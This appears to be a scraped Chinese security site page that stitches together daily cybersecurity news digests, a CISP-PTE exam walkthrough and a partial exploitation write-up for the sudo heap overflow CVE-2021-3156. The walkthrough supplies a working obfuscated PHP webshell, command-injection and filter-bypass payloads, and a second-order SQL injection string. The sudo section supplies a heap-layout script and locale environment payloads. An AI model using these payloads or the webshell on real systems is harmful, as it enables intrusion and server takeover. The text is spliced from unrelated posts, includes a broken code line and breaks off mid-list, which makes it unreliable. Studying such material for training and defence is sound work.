网络安全日报 2024年05月13日
1、zEus Stealer恶意软件通过Crafted Minecraft源包分发
https://www.fortinet.com/blog/threat-research/zeus-stealer-distributed-via-crafted-minecraft-source-pack 许多游戏制作商允许用户改变游戏的外观或行为以增加其乐趣和重玩价值。玩家通常还可以下载其他人创建的包。然而,这也是攻击者传播恶意软件的机会。研究人员发现了通过精心设计的 Minecraft 源包分发的批量窃取程序。zEus 窃取者恶意软件已添加到 YouTube 上共享的源包中。名称“zEus”来自该恶意软件的早期变体。该变体也通过 Minecraft 源包分发,但它嵌入在 WinRAR
2、Veeam修复了备份管理平台中的高严重性漏洞
https://helpcenter.veeam.com/docs/vac/deployment/about.html?ver=80 Veeam 已修复 Veeam 服务提供商控制台 (VSPC) 中的一个高严重性漏洞 (CVE-2024-29212),并敦促客户实施该补丁。Veeam 服务提供商控制台是托管服务提供商 (MSP) 和企业用来管理和监控数据备份操作的云平台。“服务提供商可以部署 Veeam 服务提供商控制台,向其客户提供由 Veeam 支持的备份即服务和灾难恢复即服务服务。企业可以使用该解决方案来简化远程办公室、分支机构或其他地点的备份操作。”该公司解释道。CVE-2024-
3、Kimsuky针对加密货币公司部署新型Golang恶意软件Durian
https://securelist.com/apt-trends-report-q1-2024/112473/ 据观察,被追踪为 Kimsuky 的朝鲜威胁行为者部署了一种先前未记录的基于 Golang 的恶意软件,称为Durian,作为针对两家韩国加密货币公司的高度针对性网络攻击的一部分。Durian 拥有全面的后门功能,能够执行已发送的命令、额外的文件下载和文件泄露。这些攻击发生在 2023 年 8 月和 11 月,需要使用韩国独有的合法软件作为感染途径,但目前尚不清楚用于操纵该程序的确切机制。该软件会建立与攻击者服务器的连接,从而导致检索恶意有效负载,从而启动感染序列。
4、俄罗斯APT28组织针对波兰机构开展大规模恶意软件活动
https://cert.pl/en/posts/2024/05/apt28-campaign/ 波兰政府机构已成为由与俄罗斯有联系的民族国家组织APT28精心策划的大规模恶意软件活动的一部分。计算机紧急响应小组 CERT Polska在周三的公告中表示: “该活动发送的电子邮件内容旨在引起收件人的兴趣并说服他点击链接。”单击该链接会将受害者重定向到 run.mocky[.]io 域,该域又用于重定向到另一个名为 webhook[.]site 的合法网站,这是一项免费服务,允许开发人员检查正在发送的数据通过网络钩子,以逃避检测。
5、Mirai僵尸网络利用Ivanti Connect漏洞进行恶意Payload传输
https://blogs.juniper.net/en-us/security/protecting-your-network-from-opportunistic-ivanti-pulse-secure-vulnerability-exploitation 最近披露的 Ivanti Connect Secure (ICS) 设备中的两个安全漏洞正被用来部署臭名昭著的Mirai 僵尸网络。研究人员表示漏洞CVE-2023-46805 和 CVE-2024-21887已被利用来传递僵尸网络有效Payload。CVE-2023-46805 是一个身份验证绕过漏洞,而 CVE-2024-2188
6、Telit Cinterion 蜂窝调制解调器容易受到短信接管攻击
https://ics-cert.kaspersky.com/vulnerabilities/ Telit Cinterion 蜂窝调制解调器广泛应用于工业、医疗保健和电信等领域,其安全漏洞可能允许远程攻击者通过短信执行任意代码。安全研究人员去年 11 月披露了一组八个独立问题,其中七个标识符为 CVE-2023-47610 到 CVE-2023-47616,另一个尚未注册。在发布安全问题之前,安全公司已于 2023 年 2 月向供应商报告了这些问题。周六,在柏林举行的 OffectiveCon 会议上,Alexander Kozlov 和 Sergey Anufrienko 将提供有关安全
7、攻击者滥用戴尔API并窃取了4900万条客户记录导致数据泄露
https://www.bleepingcomputer.com/news/security/dell-api-abused-to-steal-49-million-customer-records-in-data-breach/ 最近戴尔数据泄露事件背后的威胁者透露,他们使用以假冒公司身份访问的合作伙伴门户 API 抓取了 4900 万条客户记录的信息。戴尔已开始发送通知,警告客户他们的个人数据在数据泄露中被盗。此次数据泄露包含客户订单数据,包括保修信息、服务标签、客户姓名、安装位置、客户编号和订单编号。4 月 28 日,名为 Menelik 的威胁行为者在 Breached 黑客论坛
8、财政部、国家网信办发布《会计师事务所数据安全管理暂行办法》
https://www.freebuf.com/news/400561.html 结合《国务院办公厅关于进一步规范财务审计秩序 促进注册会计师行业健康发展的意见》(国办发〔2021〕30号)中的相关规定,财政部和国家互联网信息办公室联合制定了《会计师事务所数据安全管理暂行办法》,旨在强化会计师事务所的数据安全管理,确保其数据处理活动的规范性和安全性。
9、LockBItSupp否认自己就是LockBit 头目霍罗舍夫
https://therecord.media/lockbitsupp-interview-ransomware-cybercrime-lockbit LockBit 勒索软件团伙的头目网络名叫 LockBitSupp,他在接受采访时称国际执法部门犯了一个错误:他不是德米特里·尤里耶维奇·霍罗舍夫,执法部门将错误的人附加到了他的名称上。
10、波音公司去年43GB 数据泄露,拒绝向黑客支付 2 亿美元赎金
https://www.ithome.com/0/766/908.htm 波音公司周三披露细节,称 2023 年 11 月公司遭到勒索软件攻击,黑客索要高达 2 亿美元(的赎金,最终公司决定拒绝支付。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
记一些CISP-PTE题目解析
0x01 命令执行
直接payload: 127.0.0.1 &whoami,发现可以成功执行whoami命令
然后ls ../ ,发现有个key.php文件
尝试用cat命令查看发现不行被拦截了。(其实题目过滤了常用的查看文件的命令)
这里有两种思路,第一种是根据题目意思用命令执行写webshell的方式去进行getshell,第二种方式则是使用linux的命令进行绕过。这里采用第二种方式使用c''at的方式进行绕过。
0x02 基础题目之文件上传突破
可以发现部分上传代码,文件名被命名成一个随机数加上原本的文件名然后md5的值。
直接上传一个带图片头的php木马(会检测是否是图片,所以需要一个GIF89A当图片头),而且过滤了一些敏感函数如eval等。这里直接上传一个免杀的木马即可。
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>
然后接下来就是爆破出shell的地址了,这里我们直接把上传的数据包重放1000次用来提高爆破成功的效率。
用burp的null payload发送1000次
然后设置上传的文件名1.php为前缀,加上随机数的1~99999,最后经过md5加密即可。
设置前缀为1.php (上传的文件名)
然后添加md5
最后就是等待爆破成功。
key在web根目录下的key.php文件
0x03 基础题目之流量分析
下载数据包,使用wireshark发现是http协议居多,首先可以使用wireshark的导出文件查看一下http的访问文件分组。
可以发现攻击者在进行目录爆破。这里可以直接选择
然后根据文件大小排序一下,发现其中有一个压缩包。
但是压缩包设置了密码
然后查找http数据中是否有包含压缩包名字的数据包,其中phpspy.php包含了这个压缩包的名称。
追踪流结果发现Adm1n!是解压密码(%21是url编码)
0x04 代码审计
考点就是让数字绕过is_numerice判断,这里直接使用数字后面跟一个字符串即可绕过。
0x05 基础题目之SQL注入
首先发现题目有一个注册界面,注册账号之后进行登录。
然后再发表文章处发现存在insert注入。
直接抓取数据包使用sqlmap即可
0x06 基础题目之SQL注入
没什么特别的,只是过滤了union关键字这里用双写绕过就可以了, ununionion这样。
然后直接load_file读取文件即可获取key。
0x07 无回显命令执行
很简单,看了一下代码,限制了cmd参数的命令长度而已。可以使用linux的流符号生成一个文件
0x08 二阶SQL注入
二次注入是一种SQL注入攻击的形式,它涉及到用户输入的数据在第一次被存储到数据库中时被错误地处理,导致在后续的查询中,这些原本被转义的数据再次被使用,从而执行恶意命令。
第一步是插入恶意数据:
在第一次插入数据时,开发者可能使用了函数如addslashes过滤了,这时是没有问题的。
比如注册功能:
这里注册一个test'用户 ,由于'被成功转义成了'所以这里是能够正常执行sql语句的。
然后登录test'用户也是没有问题的
但是问题出现再第二次数据库操作中,由于被存入的数据库的用户名是test',那么在第二次系统从数据库中获取用户名的时候如果没有过滤那么就会造成二次注入。
比如更新密码:
系统的语句可能会长这样:
update user set passwd = 'newpasswd' where uname = 'test'' #test'是用户名。那么这种情况就可能导致注入。
那么二次注入怎么利用,这里可以看到需要admin用户登录才能够得到key,那么我们能够用构造一条语重置admin密码就可以了
update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a'
aaa' or 1 -- a是用户名
用新用户重置admin的密码
再次登录admin
网络安全日报 2024年05月11日
1、Chrome 124 更新修补了一个被利用的零日漏洞
https://www.securityweek.com/exploited-chrome-zero-day-patched-by-google/ 该零日漏洞被追踪为CVE-2024-4671,Google 将其描述为 Visuals 组件中的高严重性释放后使用错误。
2、Citrix 警告客户手动更新 XenCenter 上的PuTTY版本
https://securityaffairs.com/162953/security/citrix-manually-update-putty-ssh-client.html Citrix 敦促客户手动解决 PuTTY SSH 客户端缺陷,该缺陷可能允许攻击者窃取 XenCenter 管理员的私有 SSH 密钥。
3、恶意 Android 应用冒充 Google、Instagram等窃取凭证
https://thehackernews.com/2024/05/malicious-android-apps-pose-as-google.html 据观察,伪装成 Google、Instagram、Snapchat、WhatsApp 和 X(以前称为 Twitter)的恶意 Android 应用程序会从受感染的设备中窃取用户的凭据。
4、新的 LLMjacking 攻击使用被盗云凭证攻击云托管的 AI 模型
https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/ Sysdig 研究人员发现了 LLM 的反向代理被用来提供对受损帐户的访问的证据,这表明其存在经济动机。然而,另一个可能的动机是提取 LLM 训练数据。
5、报告显示人工智能欺诈和 Deepfakes 是银行面临的最大挑战
https://www.infosecurity-magazine.com/news/ai-fraud-deepfakes-banks-top/ Mitek Systems 的一份报告显示,银行正面临欺诈方面的重大挑战,包括洗钱和账户接管等传统问题,以及人工智能生成的欺诈和深度伪造等新威胁。
6、美国假冒邮政服务钓鱼网站访问量超过正规官网
https://www.freebuf.com/articles/network/400195.html 美国邮政是美国主要的包裹信件投递机构之一,长期以来该单位都是网络钓鱼和诈骗的针对目标。对美国公民来说,在假期通常都会收到声称来自美国邮政的诈骗。非法域名的流量甚至超过了合法域名的流量。
7、微软为美国情报部门提供“物理隔离版”ChatGPT
https://www.secrss.com/articles/65933 据彭博社报道,微软公司近日打破常规,首次部署了一款与互联网完全隔离的生成式AI模型。微软表示,美国情报机构现在可以安全地利用这项强大技术(ChatGPT)来分析绝密信息。
8、IntelBroker 黑客声称入侵顶级网络安全公司并出售访问权限
https://www.hackread.com/intelbroker-hacker-cybersecurity-firm-breach/ 臭名昭著的 IntelBroker 黑客声称入侵了一家领先的网络安全公司(收入:18 亿美元)。黑客以 20,000 美元的加密货币出售对被盗数据的访问权限,包括敏感凭证和关键日志。
9、RSAC:CISA 启动漏洞强化计划以应对 NVD 挑战
https://www.infosecurity-magazine.com/news/cisa-launches-vulnrichment-program/ CISA 的 “Vulnrichment ”计划将重点为 CVE 添加元数据,包括通用平台枚举(CPE)编号、通用漏洞评分系统(CVSS)分数、通用弱点枚举(CWE)名称标签和已知漏洞利用(KEV)条目。
10、Windows 11新版将默认启用BitLocker存储加密
https://www.anquanke.com/post/id/296375 据报道,Windows 11 的全新安装可能很快就会自动激活 BitLocker 并默认加密硬盘驱动器(存储设备),如 Insider Preview 版本中所示。虽然这将大大提高安全性,但建议用户正确保存恢复密钥。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年05月10日
1、研究人员披露伪装成证书的LNK文件分发RokRAT恶意软件
https://asec.ahnlab.com/en/65076/ 研究人员已确认持续传播异常大小的快捷方式文件(.LNK),用于传播后门型恶意软件。最近确认的快捷方式文件(.LNK)被发现是针对韩国用户,特别是与朝鲜有关的用户。确认的LNK文件名机翻的名称为:国家信息学院第八期综合课程证书(最终).lnk、门禁名册2024.lnk、东北项目(美国国会研究服务处(CRS 报告).lnk、设施清单.lnk。
2、F5 Central Manager中两个严重漏洞可导致完全设备接管
https://eclypsium.com/blog/big-vulnerabilities-in-next-gen-big-ip/ F5 Next Central Manager 中发现了两个安全漏洞,攻击者可能会利用这些漏洞来夺取设备的控制权并创建隐藏的流氓管理员帐户以实现持久性。这些可远程利用的缺陷“可以让攻击者获得对设备的完全管理控制,随后允许攻击者在 Next Central Manager 管理的任何 F5 资产上创建帐户”。两个问题的描述:CVE-2024-21793(CVSS 评分:7.5)- OData 注入漏洞,可能允许未经身份验证的攻击者通过 BIG-IP NEXT C
3、英国政府确认国防部被入侵导致军事人员的信息大规模泄露
https://www.gov.uk/government/speeches/defence-secretary-oral-statement-to-provide-a-defence-personnel-update-07-may-2024?utm_medium=email&utm_campaign=govuk-notifications-topic&utm_source=8257ab59-9aa6-4522-a85f-94c668dbca49&& 英国政府今天证实,一名攻击者最近侵入了该国国防部并获得了部分武装部队支付网络的访问权限。受到攻击的系统包含现役和预备役人员以及一些最近退役的退
4、新加坡批准《网络安全法》修正案,以保护关键基础设施
https://thecyberexpress.com/singapore-amends-cybersecurity-law/ 近日,新加坡国会批准了《网络安全法》修正案,该法案旨在加强国家不断发展的关键基础设施的防御能力,并适应技术进步。
5、美国政府正式发布新的国际网络空间和数字政策战略
https://www.secrss.com/articles/65858 美国务院正式发布《美国国际网络空间和数字政策战略:迈向创新、安全和尊重权利的数字未来》,旨在指导国际社会参与技术外交并推动《美国国家安全战略》和《美国国家网络安全战略》。
6、Avast再因违规处理用户数据被罚3.51 亿捷克克朗
https://www.ithome.com/0/766/496.htm 根据捷克个人数据保护办公室近日新闻稿,安全软件开发商 Avast 因违规处理用户数据正式被处以 3.51 亿捷克克朗(当前约 1.09 亿元人民币)罚款。
7、2024 年巴黎奥运会将面临前所未有的网络威胁
https://cybernews.com/news/paris-olympics-preparing-cyberthreats/ 2024 年巴黎奥运会将与法国国家信息安全局(ANSSI)、网络安全公司思科(Cisco)和 Eviden 携手合作,以限制网络攻击的影响。
8、美国医疗保健提供商MediExcel 暴露 50 万份患者文档
https://www.anquanke.com/post/id/296338 总部位于美国的医疗保健提供商 MediExcel 留下了一个公开实例,暴露了超过 50 万份患者文档,包括诊断和索赔表。
9、俄罗斯黑客 APT28 对波兰政府发动恶意软件攻击
https://www.anquanke.com/post/id/296335 波兰国家网络安全机构周三表示,克里姆林宫支持的黑客组织 APT 28 本周早些时候被发现针对波兰政府机构,这是俄罗斯针对支持乌克兰的北约盟国的一系列网络攻击中的最新一起。
10、恶意软件正劫持安全软件更新进行分发
https://www.freebuf.com/articles/network/400194.html GuptiMiner 是一个高度复杂的威胁,最早在 2018 年发现,主要为了在大型企业中分发后门。一种是 PuTTY Link 的增强版本后门,能够针对本地网络进行 SMB 扫描,并通过网络横向移动到网络上其他可能易受攻击的 Windows 7 和 Windows Server 2008 主机;另一种是多模块后门,接受攻击者的命令安装更多恶意代码模块,并专注于扫描本地系统上存储的私钥和加密钱包。令人感到不解的是,GuptiMiner 还会分发挖矿程序,对于此类攻击者来说有点不可思议。G
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年05月09日
1、欧洲执法部门突袭摧毁12个大规模电话诈骗中心
https://www.europol.europa.eu/media-press/newsroom/news/operation-pandora-shuts-down-12-phone-fraud-call-centres 当局本周报告称,德国、阿尔巴尼亚、波斯尼亚和黑塞哥维那、科索沃和黎巴嫩的执法机构关闭了每天处理数千起诈骗电话的 12 个地点。根据欧洲刑警组织的一份声明,在 4 月中旬搜查嫌疑人的住宅和商业场所时,警方逮捕了 21 人,并扣押了他们的数据载体、文件、现金和资产,总计 100 万欧元(108 万美元)。欧洲刑警组织表示,一个犯罪网络通过虚假报警电话、投资欺诈或爱情骗局诈骗
2、LiteSpeed缓存漏洞能够完全控制WordPress网站
https://wpscan.com/blog/surge-of-javascript-malware-in-sites-with-vulnerable-versions-of-litespeed-cache-plugin/ 攻击者正在积极利用影响 WordPress LiteSpeed Cache 插件的高严重性缺陷在易受影响的网站上创建流氓管理员帐户。该漏洞(CVE-2023-40000,CVSS 评分:8.3)已被利用来设置名为 wpsupp-user 和 wp-configuser 的虚假管理员用户。研究人员于 2024 年 2 月披露的CVE-2023-40000是一个存储型跨站点
3、研究人员警告攻击者可能会利用慢跑应用程序来瞄准人群
https://www.cysecurity.news/2024/05/experts-warn-criminals-could-exploit.html 研究人员警告说,运行慢跑应用程序的用户应加强隐私设置,以阻止潜在的跟踪者和其他恶意行为者访问有关其活动的敏感信息。虽然 Strava 等平台使慢跑者和徒步旅行者能够与朋友和关注者分享路线详细信息和表现指标,但科技公司研究人员担心犯罪分子可能会构建用户日常活动的详细档案,包括他们的起点和终点,从而可能暴露他们的家地址。研究人员建议用户检查其安全设置,确保默认情况下不会公开共享敏感信息,并建议在必要时切换到私人设置。研究人员强调了跟踪和骚扰犯
4、移动医疗DocGo披露患者健康数据在遭受网络攻击后被窃取
https://www.sec.gov/ix?doc=/Archives/edgar/data/1822359/000182235924000037/dcgo-20240507.htm 移动医疗公司 DocGo 证实,在威胁行为者破坏其系统并窃取患者健康数据后,该公司遭受了网络攻击。DocGo 是一家医疗保健提供商,为美国 30 个州和英国各地的患者提供移动医疗服务、救护车服务和远程监控。在周二晚上向 SEC 提交的 FORM 8-K 文件中,DocGo 警告称,他们最近遭受了网络攻击,正在与第三方网络安全专家合作协助调查。DocGo 向 SEC 提交的文件中写道:“在检测到未经授权的活动后
5、新的"TunnelVision"技术可绕过任何 VPN 系统监视用户流量
https://www.securityweek.com/new-tunnelvision-technique-leaks-traffic-from-any-vpn-system/ Leviathan Security 研究人员最近发现了一种名为 TunnelVision 的新型攻击技术,可以绕过 VPN 封装。威胁参与者可以使用此技术,利用 DHCP(动态主机配置协议)的内置功能强制目标用户的流量离开其 VPN 隧道。
6、Android 更新修补了严重漏洞
https://www.securityweek.com/android-update-patches-critical-vulnerability/ Android 2024 年 5 月的安全更新修复了 38 个漏洞,其中包括系统组件中的一个严重错误。
7、悬赏1000万,LockBit 勒索软件主谋被揭露、被指控
https://www.securityweek.com/lockbit-ransomware-mastermind-unmasked-charged/ 一名俄罗斯国民被执法部门认定为臭名昭著的 LockBit 勒索软件操作的幕后策划者。 该男子名叫迪米特里·尤里耶维奇·霍罗舍夫 (Dimitry Yuryevich Khoroshev),31 岁,来自俄罗斯沃罗涅日,又名LockBitSupp、LockBit和putinkrab,他因创建和运营 LockBit 勒索软件而被美国司法部提起 26 项起诉。
8、针对英特尔CPU的新型"Pathfinder"攻击可恢复密钥和窃取数据
https://thehackernews.com/2024/05/new-spectre-style-pathfinder-attack.html 研究人员发现了两种针对高性能英特尔 CPU 的新颖攻击方法,可利用这些方法对高级加密标准 (AES) 算法发起密钥恢复攻击。
9、APT42 黑客冒充记者获取凭证并访问云数据
https://thehackernews.com/2024/05/apt42-hackers-pose-as-journalists-to.html 谷歌云子公司 Mandiant 在上周发布的一份报告中表示,攻击的目标包括西方和中东非政府组织、媒体组织、学术界、法律服务和活动人士。“据观察,伊朗APT42冒充记者和活动组织者,通过持续通信与受害者建立信任,并发送会议邀请或合法文件。 ”
10、 CISA 警告:GitLab 关键漏洞正在被利用,可实现账户接管
https://www.darkreading.com/application-security/critical-gitlab-bug-exploit-account-takeover-cisa KnowBe4 的安全意识倡导者 Erich Kron 说,如果攻击者选择更改被他们潜入的 GitLab 账户的合法关联电子邮件地址,那么他们就可以阻止合法账户所有者登录或使用密码恢复功能将其改回来。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
CVE复现之老洞新探(CVE-2021-3156)
环境搭建
直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156下载glibc-2.27源码和sudo-1.8.21源码
漏洞分析
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
if (size == 0 || (user_args = malloc(size)) == NULL) { //分配堆块,存放command
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { // 设置-s参数进入分支
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++; // 跳过反斜杠
*to++ = *from++; // 复制反斜杠后面的字符
} // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
*to++ = ' '; //每个command后面跟一个空格
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
漏洞调试
glibc源码
gdb exp
catch exec
b policy_check
b sudoers.c:846
b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398
b nss_load_librarygcc exp.c -o exp2 -lm
漏洞利用
1 利用目标
p ni
可以发现service_user结构体在堆上
堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制
/* Load library. */
static int
' (service_user *ni)
{
if (ni->library == NULL) // ni->library等于0进入分支
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name); // 新建一个ni->library,并将成员初始化
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision
ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。
2 堆块布局
接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:
language[_territory[.codeset]][@modifier]
Beside the first all of them are allowed to be missing. If the
full specified locale is not found, the less specific one are
looked for. The various part will be stripped off according to
the following order:
(1) codeset
(2) normalized codeset
(3) territory
(4) modifier
*/
//locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
// C.UTF-8@AAAAAAAAA
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
// 判断四个部分那部分有缺失
if (mask == -1)
/* Memory allocate problem. */
return NULL;
/* If exactly this locale was already asked for we have an entry with
the complete name. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 0);
if (locale_file == NULL)
{
/* Find status record for addressed locale file. We have to search
through all directories in the locale path. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 1);
if (locale_file == NULL)
/* This means we are out of core. */
return NULL;
}
结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆释放原语
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
/* We must not simply free a global locale since we have
no control over the usage. So we mark it as
un-deletable. And yes, the 'if' is needed, the data
might be in read-only memory. */
if (newdata[category]->usage_count != UNDELETABLE)
newdata[category]->usage_count = UNDELETABLE;
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
newnames[category] = __strdup (newnames[category]);
//使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
/* Now we have loaded all the new data. Put it in place. */
for (category = 0; category < __LC_LAST; ++category)
if (category != LC_ALL)
{
setdata (category, newdata[category]);
setname (category, newnames[category]);
}
setname (LC_ALL, composite);
/* We successfully loaded a new locale. Let the message catalog
functions know about this. */
++_nl_msg_cat_cntr;
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);
//这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉
先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:
1、语言符号及其分类(LC_CTYPE)
2、数字(LC_NUMERIC)
3、比较和习惯(LC_COLLATE)
4、时间显示格式(LC_TIME)
5、货币单位(LC_MONETARY)
6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)
7、姓名书写方式(LC_NAME)
8、地址书写方式(LC_ADDRESS)
9、电话号码书写方式(LC_TELEPHONE)
10、度量衡表达方式 (LC_MEASUREMENT)
11、默认纸张尺寸大小(LC_PAPER)
12、对locale自身包含信息的概述(LC_IDENTIFICATION)。
对应
"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"
其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。
length = 0x38
while(length < 0x100):
tail = 'C.UTF-8@'
# length = 0x48
q = "a"*(length-2)+"\\"
p = tail+'a'*(length-1-len(tail))
print(hex(length))
print(q)
print(p)
length += 0x10
经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。
"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
